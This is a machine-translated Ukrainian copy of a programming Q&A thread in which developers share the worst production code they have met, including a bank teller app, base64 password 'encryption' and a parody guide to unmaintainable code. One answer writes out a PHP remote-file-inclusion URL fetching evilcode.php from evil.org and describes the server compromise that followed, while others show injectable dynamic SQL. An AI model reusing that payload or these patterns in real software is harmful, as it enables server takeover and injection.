Який найбільш злий код ви коли-небудь бачили в середовищі виробничого підприємства? [зачинено]


76

Який найзлобніший чи найнебезпечніший фрагмент коду ви коли-небудь бачили у виробничому середовищі компанії? Я ніколи не стикався з виробничим кодом, який я вважав би навмисно зловмисним і злим, тому мені дуже цікаво побачити, що знайшли інші.

Найнебезпечнішим кодом, який я коли-небудь бачив, була збережена процедура, розташована на двох зв’язаних серверах від нашого основного виробничого сервера бази даних. Збережена процедура приймає будь-який параметр NVARCHAR (8000) і виконує параметр на цільовому виробничому сервері за допомогою команди sp_executeSQL з подвійним стрибком. Тобто, команда sp_executeSQL виконала ще одну команду sp_executeSQL, щоб перейти до двох зв’язаних серверів. О, і пов’язаний обліковий запис сервера мав права системного адміністратора на цільовому виробничому сервері.


20
Просто перевірте thedailywtf.com на такі речі
Tamas Czinege

Відповіді:


331

Попередження: Попереду довгий страшний пост

Я писав про одну програму, над якою працював раніше, тут і тут . Простіше кажучи, моя компанія успадкувала від Індії 130 000 рядків сміття. Додаток було написано на C #; це був касовий додаток, той самий вид каси, який каси використовують за прилавком щоразу, коли йдуть до банку. Додаток аварійно завершував роботу 40-50 разів на день, і його просто не вдалося перетворити на робочий код. Протягом 12 місяців моїй компанії довелося переписати весь додаток.

Чому цей додаток є злим? Тому що вигляду вихідного коду було достатньо, щоб звести розуму з розуму і розуму. Покручена логіка, яка використовувалася для написання цього додатка, могла бути натхненна лише кошмаром Лавкрафтіана. Унікальні особливості цієї програми включали:

  • Із 130 000 рядків коду вся програма містила 5 класів (за винятком файлів форми). Все це були загальнодоступні статичні класи. Один клас називався Globals.cs, який містив 1000, 1000 і 1000 загальнодоступних статичних змінних, що використовуються для зберігання всього стану програми. Ці п’ять класів містили 20 000 рядків коду, а решта коду була вбудована у форми.

  • Вам потрібно замислитися, як же програмістам вдалося написати такий великий додаток без будь-яких занять? Що вони використовували для представлення своїх об’єктів даних? Виявляється, програмістам вдалося заново винайти половину концепцій, які ми всі дізналися про ООП, просто поєднавши ArrayLists, HashTables і DataTables. Ми багато чого бачили:

    • ArrayСписки хеш-тегів
    • Хеш-таблиці з рядковими ключами та значеннями DataRow
    • Списки масивів таблиць даних
    • Рядки даних, що містять ArrayLists, що містять HashTables
    • Списки масивів DataRows
    • ArrayLists з ArrayLists
    • HashTables із рядковими ключами та значеннями HashTable
    • ArrayLists з ArrayLists HashTables
    • Будь-яка інша комбінація ArrayLists, HashTables, DataTables, яку ви можете придумати.

    Майте на увазі, жодна з наведених вище структур даних не набрана сильно, тому вам доведеться перекласти будь-який таємничий об’єкт, який ви отримаєте зі списку, на правильний тип. Дивно, яку складну структуру даних, схожу на Rube Goldberg, ви можете створити, використовуючи лише ArrayLists, HashTables і DataTables.

  • Щоб поділитися прикладом використання об'єктної моделі, детально описаної вище, розглянемо Облікові записи: оригінальний програміст створив окрему HashTable для кожного придатного властивості облікового запису: HashTable з назвою hstAcctExists, hstAcctNeedsOverride, hstAcctFirstName. Ключами для всіх цих хештегов було "|" відокремлений рядок. Можливі ключі включали “123456 | DDA”, “24100 | SVG”, “100 | LNS” тощо.

  • Оскільки стан усієї програми було легко доступним із глобальних змінних, програмісти вважали непотрібним передавати параметри методам. Я б сказав, що 90% методів приймали 0 параметрів. З тих небагатьох, які це зробили, всі параметри передавалися як рядки для зручності, незалежно від того, що рядок представляв.

  • Безкоштовних побічних ефектів не існувало. Кожен метод модифікував 1 або більше змінних у класі Globals. Не всі побічні ефекти мали сенс; наприклад, один із методів перевірки форми мав таємничий побічний ефект обчислення та коротких платежів за позиками на будь-якому рахунку, що зберігався Globals.lngAcctNum.

  • Незважаючи на те, що форм було багато, для їх керування існувала одна форма: frmMain.cs, яка містила колосальні 20 000 рядків коду. Що робив frmMain? Все. Він шукав рахунки, друковані квитанції, видавав готівку, все робив.

    Іноді іншим формам потрібно було викликати методи на frmMain. Замість того, щоб виводити код з форми в окремий клас, чому б просто не викликати код безпосередньо:

    ((frmMain)this.MDIParent).UpdateStatusBar(hstValues);
    
  • Для пошуку облікових записів програмісти зробили приблизно таке:

    bool blnAccountExists =
        new frmAccounts().GetAccountInfo().blnAccountExists
    

    Як би погано це не створювало невидиму форму для здійснення бізнес-логіки, як ви думаєте, як форма знала, який рахунок шукати? Це просто: форма могла отримати доступ до Globals.lngAcctNum та Globals.strAcctType. (Хто не любить угорські позначення?)

  • Повторне використання коду було синонімом ctrl-c, ctrl-v. Я знайшов 200-рядкові методи, які копіюються / вставляються в 20 форм.

  • Додаток мав химерну модель потоків, яку я люблю називати моделлю потоку та таймера: кожна форма, яка породила потік, мала на собі таймер. Кожен породжений потік запускав таймер із затримкою 200 мс; як тільки таймер запуститься, він перевірить, чи встановив потік якийсь магічний булев, тоді він перерве потік. Отриманий ThreadAbortException було проковтнуто.

    Ви можете подумати, що побачите цей шаблон лише один раз, але я знайшов його принаймні в 10 різних місцях.

  • Говорячи про теми, ключове слово "замок" ніколи не з'являлося в додатку. Потоки вільно маніпулювали глобальним станом, не забираючи замок.

  • Кожен метод програми містив блок try / catch. Кожен виняток реєструвався та проковтувався.

  • Кому потрібно вмикати перерахування при перемиканні рядків так само просто!

  • Деякий геній зрозумів, що ви можете підключити декілька елементів керування формою до одного і того ж обробника подій. Як програміст впорався з цим?

    private void OperationButton_Click(object sender, EventArgs e)
    {
        Button btn = (Button)sender;
        if (blnModeIsAddMc)
        {
            AddMcOperationKeyPress(btn);
        }
        else
        {
            string strToBeAppendedLater = string.Empty;
            if (btn.Name != "btnBS")
            {
                UpdateText();
            }
            if (txtEdit.Text.Trim() != "Error")
            {
                SaveFormState();
            }
            switch (btn.Name)
            {
                case "btnC":
                    ResetValues();
                    break;
                case "btnCE":
                    txtEdit.Text = "0";
                    break;
                case "btnBS":
                    if (!blnStartedNew)
                    {
                        string EditText = txtEdit.Text.Substring(0, txtEdit.Text.Length - 1);
                        DisplayValue((EditText == string.Empty) ? "0" : EditText);
                    }
                    break;
                case "btnPercent":
                    blnAfterOp = true;
                    if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                    {
                        AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, false);
                        decCurrValue = decResultValue * decCurrValue / intFormatFactor;
                        DisplayValue(GetValueString(decCurrValue));
                        AddToTape(GetValueString(decCurrValue), string.Empty, true, false);
                        strToBeAppendedLater = GetValueString(decResultValue).PadLeft(20)
                                                    + strOpPressed.PadRight(3);
                        if (arrLstTapeHist.Count == 0)
                        {
                            arrLstTapeHist.Add(strToBeAppendedLater);
                        }
                        blnEqualOccurred = false;
                        blnStartedNew = true;
                    }
                    break;
                case "btnAdd":
                case "btnSubtract":
                case "btnMultiply":
                case "btnDivide":
                    blnAfterOp = true;
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        btnC.PerformClick();
                        return;
                    }
                    if (blnNumPressed || blnEqualOccurred)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (Operation())
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                AddToTape(GetValueString(decCurrValue), (string)btn.Text, true, true);
                                DisplayValue("Error");
                            }
                            strOpPressed = btn.Text;
                            blnEqualOccurred = false;
                            blnNumPressed = false;
                        }
                    }
                    else
                    {
                        strOpPressed = btn.Text;
                        AddToTape(GetValueString(0), (string)btn.Text, false, false);
                    }
                    if (txtEdit.Text.Trim() == "Error")
                    {
                        AddToTape("Error", string.Empty, true, true);
                        btnC.PerformClick();
                        txtEdit.Text = "Error";
                    }
                    break;
                case "btnEqual":
                    blnAfterOp = false;
                    if (strOpPressed != string.Empty || strPrevOp != string.Empty)
                    {
                        if (GetValueDecimal(txtEdit.Text, out decCurrValue))
                        {
                            if (OperationEqual())
                            {
                                DisplayValue(GetValueString(decResultValue));
                            }
                            else
                            {
                                DisplayValue("Error");
                            }
                            if (!blnEqualOccurred)
                            {
                                strPrevOp = strOpPressed;
                                decHistValue = decCurrValue;
                                blnNumPressed = false;
                                blnEqualOccurred = true;
                            }
                            strOpPressed = string.Empty;
                        }
                    }
                    break;
                case "btnSign":
                    GetValueDecimal(txtEdit.Text, out decCurrValue);
                    DisplayValue(GetValueString(-1 * decCurrValue));
                    break;
            }
        }
    }
    
  • Той самий геній також відкрив славного трикутника. Ось кілька зразків коду:

    frmTranHist.cs [line 812]:

    strDrCr = chkCredits.Checked && chkDebits.Checked ? string.Empty
                        : chkDebits.Checked ? "D"
                            : chkCredits.Checked ? "C"
                                : "N";
    

    frmTellTransHist.cs [line 961]:

    if (strDefaultVals == strNowVals && (dsTranHist == null ? true : dsTranHist.Tables.Count == 0 ? true : dsTranHist.Tables[0].Rows.Count == 0 ? true : false))
    

    frmMain.TellCash.cs [line 727]:

    if (Validations(parPostMode == "ADD" ? true : false))
    
  • Ось фрагмент коду, який демонструє типове неправильне використання StringBuilder. Зверніть увагу, як програміст кокатує рядок у циклі, а потім додає отриманий рядок до StringBuilder:

    private string CreateGridString()
    {
        string strTemp = string.Empty;
        StringBuilder strBuild = new StringBuilder();
        foreach (DataGridViewRow dgrRow in dgvAcctHist.Rows)
        {
            strTemp = ((DataRowView)dgrRow.DataBoundItem)["Hst_chknum"].ToString().PadLeft(8, ' ');
            strTemp += "  ";
            strTemp += Convert.ToDateTime(((DataRowView)dgrRow.DataBoundItem)["Hst_trandt"]).ToString("MM/dd/yyyy");
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_DrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_CrAmount"].ToString().PadLeft(15, ' ');
            strTemp += "  ";
            strTemp += ((DataRowView)dgrRow.DataBoundItem)["Hst_trancd"].ToString().PadLeft(4, ' ');
            strTemp += "  ";
            strTemp += GetDescriptionString(((DataRowView)dgrRow.DataBoundItem)["Hst_desc"].ToString(), 30, 62);
            strBuild.AppendLine(strTemp);
        }
        strCreateGridString = strBuild.ToString();
        return strCreateGridString;//strBuild.ToString();
    }
    
  • У таблицях не існувало жодних обмежень первинних ключів, індексів або зовнішніх ключів, майже всі поля мали тип varchar (50), а 100% полів мали нульовий характер. Цікаво, що бітові поля не використовувались для зберігання булевих даних; натомість було використано поле char (1), а символи 'Y' та 'N' використовувались відповідно для істинного та хибного.

    • Якщо говорити про базу даних, то ось типовий приклад збереженої процедури:

      ALTER PROCEDURE [dbo].[Get_TransHist]
       ( 
            @TellerID   int = null,
            @CashDrawer int = null,
            @AcctNum    bigint = null,
            @StartDate  datetime = null,
            @EndDate    datetime = null,
            @StartTranAmt     decimal(18,2) = null,
            @EndTranAmt decimal(18,2) = null,
            @TranCode   int = null,
            @TranType   int = null
       )
      AS 
            declare @WhereCond Varchar(1000)
            declare @strQuery Varchar(2000)
            Set @WhereCond = ' '
            Set @strQuery = ' '
            If not @TellerID is null
                  Set @WhereCond = @WhereCond + ' AND TT.TellerID = ' + Cast(@TellerID as varchar)
            If not @CashDrawer is null
                  Set @WhereCond = @WhereCond + ' AND TT.CDId = ' + Cast(@CashDrawer as varchar)
            If not @AcctNum is null
                  Set @WhereCond = @WhereCond + ' AND TT.AcctNbr = ' + Cast(@AcctNum as varchar)
            If not @StartDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) >= ''' + Convert(varchar,@StartDate,121) + ''''
            If not @EndDate is null
                  Set @WhereCond = @WhereCond + ' AND Convert(varchar,TT.PostDate,121) <= ''' + Convert(varchar,@EndDate,121) + ''''
            If not @TranCode is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranCode = ' + Cast(@TranCode as varchar)
            If not @EndTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt <= ' + Cast(@EndTranAmt as varchar)
            If not @StartTranAmt is null
                  Set @WhereCond = @WhereCond + ' AND TT.TranAmt >= ' + Cast(@StartTranAmt  as varchar)
            If not (@TranType is null or @TranType = -1)
                  Set @WhereCond = @WhereCond + ' AND TT.DocType = ' + Cast(@TranType as varchar)
            --Get the Teller Transaction Records according to the filters
            Set @strQuery = 'SELECT 
                  TT.TranAmt as [Transaction Amount], 
                  TT.TranCode as [Transaction Code],
                  RTrim(LTrim(TT.TranDesc)) as [Transaction Description],
                  TT.AcctNbr as [Account Number],
                  TT.TranID as [Transaction Number],
                  Convert(varchar,TT.ActivityDateTime,101) as [Activity Date],
                  Convert(varchar,TT.EffDate,101) as [Effective Date],
                  Convert(varchar,TT.PostDate,101) as [Post Date],
                  Convert(varchar,TT.ActivityDateTime,108) as [Time],
                  TT.BatchID,
                  TT.ItemID,
                  isnull(TT.DocumentID, 0) as DocumentID,
                  TT.TellerName,
                  TT.CDId,
                  TT.ChkNbr,
                  RTrim(LTrim(DT.DocTypeDescr)) as DocTypeDescr,
                  (CASE WHEN TT.TranMode = ''F'' THEN ''Offline'' ELSE ''Online'' END) TranMode,
                  DispensedYN
            FROM TellerTrans TT WITH (NOLOCK)
            LEFT OUTER JOIN DocumentTypes DT WITH (NOLOCK) on DocType = DocumentType
            WHERE IsNull(TT.DeletedYN, 0) = 0 ' + @WhereCond + ' Order By BatchId, TranID, ItemID'    
            Exec (@strQuery)
      

Незважаючи на все сказане, найбільша проблема цієї 130 000 лінійної програми така: відсутність модульних тестів.

Так, я надіслав цю історію TheDailyWTF, а потім кинув роботу.


61
повзає по підлозі, шукаючи щелепу
Ендрю Кеннан

57
Насправді це лекція про затуманення коду.
splattne

58
І гнітюче, що десь якийсь програміст, який працював над цим кодом, вважає, що вони добре зробили свою роботу, і демонструє це у своєму резюме. "Некваліфіковані і не підозрюючи про це"
Серхіо Акоста,

38
привіт, я написав цей код і додав, я думаю, що це досить добре, якщо ти вважаєш, що ти можеш зробити краще, тобі слід спробувати
Беска

17
Дуже розводнена версія частини історії управління сьогодні опинилася на DailyWTF: thedailywtf.com/Articles/eTeller-Horror.aspx
Джульєтта,

70

Я бачив таку функцію шифрування пароля

function EncryptPassword($password)
{
    return base64_encode($password);
}

10
LOL - це все одно, що роздавати платіжні виписки, банківські виписки тощо у прозорих конвертах. :-)
Крістіан Хейтер

+1, хаелдару та християнину. lmao
Cam

3
Yowch. Я знайшов один раз те, що виглядало як добре розмиті паролі в базі даних комерційного веб-додатку. Виявилося, що це був просто текст, що зберігається у стовпці VARBINARY, тож ви не змогли цього зрозуміти на перший погляд.
Метт Гібсон,

Сумно говорити, що це в основному шифрування паролів у проекті, який я успадкував. Albeit їх старі призначені для користувача написано base64 кодує функції зробили це неправильно, тому я припускаю , що є в цьому solice ;-)
Allbite

69

У системі, яка приймала платежі за допомогою кредитної картки, ми використовували повний номер кредитної картки, а також ім'я, термін дії тощо.

Виявляється, це незаконно, що іронічно, враховуючи те, що ми тоді писали програму для Міністерства юстиції.


Хтось знає, як Amazon вирішує цю проблему? Або це законно, якщо ви просите дозволу користувачів?
Davy Landman,

7
+1 за іронічну частину.
Earlz,

@Davy - У різних країнах існують різні правила.
Cameron MacFarland

@Davy - шифрування. Заборонено зберігати, якщо воно зашифроване та доступне лише за потреби. Існує безліч правил щодо міцності, утримання, DMZ тощо, дивіться тут pcisecuritystandards.org/security_standards/pci_dss.shtml
Люк Шафер,

1
Звичайно. З якого часу закон поширюється на уряд?
Loren Pechtel

30

Це була процедура обробки помилок у частині комерційного коду:

/* FIXME! */
while (TRUE)
    ;

Я мав з'ясувати, чому "додаток постійно блокується".


2
Мені здається навмисний саботаж!
Чад,

1
Добре, що був FIXME, щоб IDE міг направити вас до цього рядка.
Джош Лі

7
@Chadworthington: Якби це було навмисно, коментар був би / * НЕ ВИПРАВЛЯЙТЕ! * /; P
Девід

2
Хіба подібні речі не оптимізовані компіляторами при створенні комерційного випуску?
Аттіла Кун,

3
У цій ситуації компілятор не "оптимізував" цикл; для чого це "оптимізувати"? Крім того, певна можливість була "навмисна саботаж". "FIXME" міг бути запереченням.
Dour High Arch

28

Поєднання всіх наступних Php-функцій одночасно.

  1. Реєстрація глобальних
  2. Змінні Змінні
  3. Включення віддалених файлів і коду через include ("http: // ...");
  4. Дійсно жахливі імена масивів / змінних (буквальний приклад):

    foreach( $variablesarry as $variablearry ){
      include( $$variablearry ); 
    }
    

    (Я буквально в протягом години , намагаючись зрозуміти, як це працює , перш ніж я зрозумів , що вони wern't ту ж змінну)

  5. Включіть 50 файлів, кожен з яких містить 50 файлів, а матеріали виконуються лінійно / процедурно для всіх 50 файлів умовними та непередбачуваними способами.

Для тих, хто не знає змінних змінних:

$x = "hello"; 
$$x = "world"; 
print $hello # "world" ;

Тепер розгляньте, як $ x містить значення з вашої URL-адреси (зареєструйте глобальну магію), тому ніде у вашому коді не очевидно, з якою змінною працює ваша робота, оскільки все це визначається URL-адресою.

Тепер розглянемо, що відбувається, коли вмістом цієї змінної може бути URL-адреса, вказана користувачем веб-сайтів. Так, це може не мати для вас сенсу, але воно створює змінну з назвою url, тобто:

$http://google.com,

за винятком того, що до нього неможливо отримати прямий доступ, вам доведеться використовувати його за допомогою методу подвійного $ $ вище.

Крім того, коли користувачеві можливо вказати змінну в URL-адресі, яка вказує, який файл включити, є неприємні хитрощі, такі як

http://foo.bar.com/baz.php?include=http://evil.org/evilcode.php

і якщо ця змінна виявиться в include($include)

і 'evilcode.php' друкує свій відкритий текст коду, а Php неналежним чином захищений, php просто відмовиться, завантажить evilcode.php і виконає його як користувач веб-сервера.

Web-sever надасть йому всі свої дозволи і т.д., дозволяючи виклики оболонки, завантаження довільних двійкових файлів та їх запуск тощо, і т.д., поки врешті-решт ви не здивуєтесь, чому у вас не вистачає місця на диску, а в одному каталозі є 8 ГБ піратських фільмів з італійський дубляж, який ділиться на IRC через бота.

Я просто вдячний, що виявив, що жорстокість до того, як сценарій запуску атаки вирішив зробити щось дійсно небезпечне, наприклад зібрати надзвичайно конфіденційну інформацію з більш-менш незахищеної бази даних: |

(Я міг розважати dailywtf щодня протягом 6 місяців з цією кодовою базою, я не жартую над вами. Шкода, що я виявив dailywtf після того, як уникнув цього коду)


5
"Я просто вдячний, що виявив це жорстокість ще до того, як сценарій вирішив зібрати базу даних: |" Звідки ти знаєш? Для всіх інтенсивних морських свиней, можливо, це вже було зроблено, не помічаючи нікого ...
Пісквор вийшов з будівлі

Можливо, це було, але журнали бази даних не вказували на те, що це так.
Кент Фредрік

PHP сам по собі є шаблоном.
Томас Едінг,

28

У головному файлі заголовка проекту від старого програміста COBOL, який незрозумілим чином писав компілятор на C:

int i, j, k;

"Отже, ви не отримаєте помилки компілятора, якщо забудете оголосити змінні циклу."


25

Інсталятор Windows.


Ого, це справді кумедно І оригінально!
ТМ.

Я ніколи не підтримую жартів, але ви отримуєте +1 за креативність.
Роберт С.

Це не так погано, поки ви використовуєте правильні інструменти для створення пакету (WiX). Редактор VS та InstallShield є злими, однак
erikkallen

20

Ця стаття « Як писати неможливий код» висвітлює деякі найяскравіші техніки, відомі людині. Деякі з моїх улюблених:


Нове використання імен для немовлят

Придбайте копію книги з іменами для дітей, і ви ніколи не втратите імен змінних. Фред - чудове ім’я, і його легко набрати. Якщо ви шукаєте імена змінних, які легко ввести, спробуйте adsf або aoeu, якщо ви вводите текст за допомогою клавіатури DSK.

Творча міс-орфографія

Якщо вам потрібно використовувати описові імена змінних та функцій, помилково напишіть їх. Помилковим написанням в одних іменах функцій та змінних та правильним написанням в інших (наприклад, SetPintleOpening SetPintalClosing) ми ефективно заперечуємо використання методів пошуку grep або IDE. Це працює надзвичайно добре. Додайте міжнародного смаку, пишучи торі або торі в різних театрах / театрах.

Будьте абстрактними

У функціях і змінних імен використовуйте такі абстрактні слова, як усе, все, дані, обробляйте, виконуйте, виконуйте, виконуйте та цифри, наприклад.

Капіталізація

Випадково пише велику літеру першою буквою складу в середині слова. Наприклад ComputeRasterHistoGram ().

Малі літери l схожі на цифру 1

Використовуйте нижній регістр l для позначення довгих констант. наприклад, 10л частіше приймають за 101, ніж 10л. Заборонити будь-які шрифти, що однозначно роз'єднують uvw wW gq9 2z 5s il17 |! J oO08 `'";,. M nn rn {[()]}. Будьте креативні.

Утилізуйте свої змінні

Скрізь, де дозволяють правила обсягу, повторно використовуйте наявні не пов'язані імена змінних. Подібним чином використовуйте ту саму тимчасову змінну для двох не пов’язаних цілей (для збереження слотів стека). Для диявольського варіанту перетворіть змінну, наприклад, призначте значення змінної у верхній частині дуже довгого методу, а потім десь посередині змініть значення змінної тонким способом, наприклад, перетворивши її з координата на основі 0 до координати на основі 1. Будьте впевнені, щоб не задокументувати цю зміну значення.

Cd wrttn wtht vwls s mch trsr

Використовуючи абревіатури всередині назв змінних або методів, розірвіть нудьгу кількома варіантами одного і того ж слова і навіть час від часу пишете це від руки. Це допомагає перемогти тих ледачих бомжів, які використовують текстовий пошук, щоб зрозуміти лише деякі аспекти вашої програми. Розгляньте варіантні написання як варіант виверту, наприклад, змішання міжнародного кольору з американським кольором та кулер-мовою. Якщо ви пишете імена повністю, існує лише один можливий спосіб написання кожного імені. Ці програми занадто легко запам’ятати програмісту з обслуговування. Оскільки існує так багато різних способів скоротити слово із абревіатурами, ви можете мати кілька різних змінних, які мають одне і те ж очевидне призначення. Як додатковий бонус програміст технічного обслуговування може навіть не помітити, що це окремі змінні.

Невідомі посилання на фільми

Використовуйте імена констант, такі як LancelotsFavouriteColour, замість синього, і присвоюйте йому шістнадцяткове значення $ 0204FB. Колір на екрані виглядає ідентично чистому блакитному, і програмісту з технічного обслуговування доведеться розробити 0204FB (або скористатися яким-небудь графічним інструментом), щоб знати, як він виглядає. Тільки той, хто добре знайомий з Монті Пайтоном і Святим Граалем, знав би, що улюбленим кольором Ланселота був синій. Якщо програміст з технічного обслуговування не може цитувати цілі фільми про Монті Пайтона з пам'яті, він або вона не займається програмуванням.

Документуйте очевидне

Додайте код коментарями типу / *, додайте 1 до i * /, однак, ніколи не документуйте шерстяні речі, такі як загальна мета пакета чи методу.

Документ Як ні чому

Документуйте лише деталі того, що робить програма, а не те, що вона намагається досягти. Таким чином, якщо виникла помилка, фіксатор не знатиме, що повинен робити код.

Побічні ефекти

У C функції повинні бути ідемпотентними (без побічних ефектів). Сподіваюся, цього підказки достатньо.

Використовуйте восьмеричну

Перекиньте восьмеричні літерали в список десяткових чисел, як це:

array = new int []
{ 
111, 
120, 
013, 
121, 
};

Розширений ASCII

Розширені символи ASCII цілком допустимі як імена змінних, включаючи символи ß, Ð та ñ. Їх майже неможливо ввести без копіювання / вставки в простий текстовий редактор.

Імена з інших мов

Використовуйте словники іноземних мов як джерело імен змінних. Наприклад, використовуйте німецький punkt для точки. Кодери технічного обслуговування, без вашого твердого розуміння німецької мови, насолоджуватимуться мультикультурним досвідом розшифровки значення.

Імена з математики

Виберіть імена змінних, які маскуються як математичні оператори, наприклад:

openParen = (slash + asterix) / equals;

Кодекс, який маскується під коментарі та навпаки

Включіть розділи коду, який коментується, але на перший погляд видається не таким.

for(j=0; j<array_len; j+ =8)
{ 
total += array[j+0 ]; 
total += array[j+1 ]; 
total += array[j+2 ]; /* Main body of 
total += array[j+3];   * loop is unrolled 
total += array[j+4];   * for greater speed. 
total += array[j+5];   */ 
total += array[j+6 ]; 
total += array[j+7 ]; 
}

Без кольорового кодування ви помітили б, що три рядки коду коментуються?

Довільні імена, що маскуються під ключові слова

Під час документування вам потрібно довільне ім'я для подання імені файлу, використовуйте "файл". Ніколи не використовуйте очевидно довільну назву, наприклад "Charlie.dat" або "Frodo.txt". Загалом, у своїх прикладах використовуйте довільні імена, які звучать якомога більше як зарезервовані ключові слова. Наприклад, хорошими іменами для параметрів або змінних можуть бути "bank", "blank", "class", "const", "constant", "input", "key", "keyword", "kind", "output" , "параметр" "parm", "system", "type", "value", "var" і "variable". Якщо ви використовуєте фактичні зарезервовані слова для своїх довільних імен, які відхилить ваш командний процесор або компілятор, набагато краще. Якщо ви робите це добре,

Кодові назви не повинні збігатися з іменами екранів

Виберіть імена змінних, щоб вони абсолютно не мали відношення до міток, що використовуються, коли такі змінні відображаються на екрані. Наприклад, на екрані напишіть поле "Поштовий індекс", але в коді викличте відповідну змінну "zip".

Вибір найкращого оператора перевантаження

У C ++ перевантаження +, -, *, / робити речі, абсолютно не пов'язані зі складанням, відніманням тощо. Зрештою, якщо Stroustroup може використовувати оператор shift для здійснення вводу-виводу, чому б вам не бути однаково креативними? Якщо ви перевантажуєте +, переконайтесь, що ви робите це так, що i = i + 5; має зовсім інше значення від i + = 5; Ось приклад піднесення затуманення оператора перевантаження до високого мистецтва. Перевантажте "!" оператора для класу, але перевантаження не має нічого спільного з інвертуванням або запереченням. Зробіть так, щоб воно повертало ціле число. Потім, щоб отримати логічне значення для нього, ви повинні використовувати '! ! '. Однак це перевертає логіку, тому [барабан] потрібно використовувати '! ! ! '. Не плутайте! оператор, який повертає логічне значення 0 або 1, з побітовим логічним оператором заперечення.

Винятки

Я розкрию вам маловідомий секрет кодування. Винятком є ​​біль у спині. Правильно написаний код ніколи не дає збоїв, тому винятки насправді непотрібні. Не витрачайте на них час. Винятки з підкласів призначені для некомпетентних, які знають, що їх код не вдасться. Ви можете значно спростити свою програму, маючи лише одну спробу / вловлювання у всій програмі (в основному), яка викликає System.exit (). Просто наклейте на загальний заголовок методу цілком стандартний набір кидків, незалежно від того, чи можуть вони насправді робити будь-які винятки чи ні.

Розташування магічної матриці

Використовуйте спеціальні значення в певних місцях матриці як прапори. Хорошим вибором є елемент [3] [0] в матриці перетворень, що використовується з однорідною системою координат.

Переглянуто слоти Magic Array

Якщо вам потрібно кілька змінних даного типу, просто визначте їх масив, а потім отримайте доступ до них за номером. Виберіть норму нумерації, яку знаєте лише ви, і не документуйте її. І не турбуйтеся визначати #define константи для індексів. Кожен повинен просто знати, що віджет глобальної змінної [15] - це кнопка скасування. Це лише сучасний варіант використання абсолютних числових адрес у коді асемблера.

Ніколи не красить

Ніколи не використовуйте автоматизований акуратніший вихідний код, щоб підтримувати ваш код вирівняним. Лобіюйте, щоб вони заборонили їм вашу компанію на тій підставі, що вони створюють помилкові дельти у PVCS / CVS (відстеження контролю версій) або що кожен програміст повинен мати свій власний стиль відступу, який назавжди є священним для будь-якого написаного ним модуля. Наполягайте на тому, щоб інші програмісти дотримувались цих ідіосинкратичних умовностей у "його" модулях. Заборонити прикраси досить просто, навіть незважаючи на те, що вони економить мільйони натискань клавіш, виконуючи ручне вирівнювання, і марно витрачають дні, трактуючи неправильно вирівняний код. Просто наполягайте на тому, щоб усі використовували однаковий прибраний формат не лише для зберігання в загальному сховищі, але й під час редагування. Це запускає RWAR, і бос, щоб зберегти мир, заборонить автоматичне прибирання. Без автоматичного прибирання, тепер ви можете випадково неправильно вирівняти код, щоб отримати оптичну ілюзію, що тіла петель і ifs довші або коротші, ніж вони є насправді, або що інші речення відповідають іншим, якщо вони насправді. напр

if(a)
  if(b) x=y;
else x=z;

Тестування для боягузів

Хоробрий кодер обійде цей крок. Занадто багато програмістів бояться свого начальника, бояться втратити роботу, бояться ненависті споживачів і бояться бути поданими до суду. Цей страх паралізує дії та знижує продуктивність праці. Дослідження показали, що усунення фази випробування означає, що менеджери можуть заздалегідь встановлювати дати судів, що є очевидною допомогою в процесі планування. Якщо страх зник, інновації та експерименти можуть процвітати. Роль програміста полягає у створенні коду, а налагодження може здійснюватися спільними зусиллями довідкової служби та групи технічного обслуговування.

Якщо ми повністю впевнені у своїх можливостях кодування, тестування буде непотрібним. Якщо ми подивимось на це логічно, то будь-який дурень може зрозуміти, що тестування навіть не намагається вирішити технічну проблему, швидше, це проблема емоційної впевненості. Більш ефективним рішенням цієї проблеми недовіри є повне усунення тестування та направлення наших програмістів на курси самооцінки. Зрештою, якщо ми вирішили провести тестування, то ми повинні перевірити кожну зміну програми, але нам потрібно лише направити програмістів на один курс з формування самооцінки. Вигода від витрат настільки вражаюча, наскільки очевидна.

Змінити звичну справжню помилкову конвенцію

Змініть звичні визначення істинного та хибного. Звучить дуже очевидно, але це чудово працює. Ви можете приховати:

#define TRUE 0 
#define FALSE 1

десь глибоко в коді, так що він виривається з надр програми з якогось файлу, на який ніхто більше ніколи не дивиться. Потім примусьте програму робити порівняння, як:

if ( var == TRUE )
if ( var != FALSE )

хтось зобов'язаний "виправити" очевидну надмірність і використовувати var в іншому місці звичайним способом:

if ( var )

Інший прийом - зробити так, щоб значення TRUE та FALSE мали одне і те ж значення, хоча більшість вважали б, що це обман і обман. Використання значень 1 і 2 або -1 і 0 є більш витонченим способом спонукати людей і все одно виглядати респектабельно. Ви можете використовувати цю саму техніку в Java, визначивши статичну константу, яка називається TRUE. Програмісти можуть бути більш підозрілими, якщо вам не вдається, оскільки в Java є вбудований літерал true.

Експлуатувати шизофренію

Java є шизофренічною щодо оголошень масивів. Ви можете зробити їх старим C, способом String x [], (який використовує змішані позначення перед постфіксом) або новим способом String [] x, який використовує чистий префікс. Якщо ви хочете справді заплутати людей, змішайте notationse.g.

byte[ ] rowvector, colvector , matrix[ ];

що еквівалентно:

byte[ ] rowvector; 
byte[ ] colvector; 
byte[ ][] matrix;

ха-ха, вони злі :) - моїм улюбленим є початкова цитата в цьому есе - "Ніколи не приписуй злоби, того, що можна пояснити некомпетентністю"
Анураг,

19

Не знаю, чи назвав би я код "злим", але у нас був розробник, який би створював Object[]масиви, а не писав класи. Скрізь.


40
Я насправді читав книгу на PHP, в якій говорилося, що це нормально. Ну, я все одно прочитав його до цього моменту.
Білл Ящірка

4
@Bill: Це не те, що я погоджуюсь з такою практикою, але PHP слабко набирається, це, безумовно, є більш прийнятним, ніж це, наприклад, у C #
Tamas Czinege

Я не розумію ... як я міг щось зробити таким чином?
хафез

@hhafez: Об'єкти PHP дозволяють встановити будь-якого члена об'єкта за бажанням.
Білл Карвін

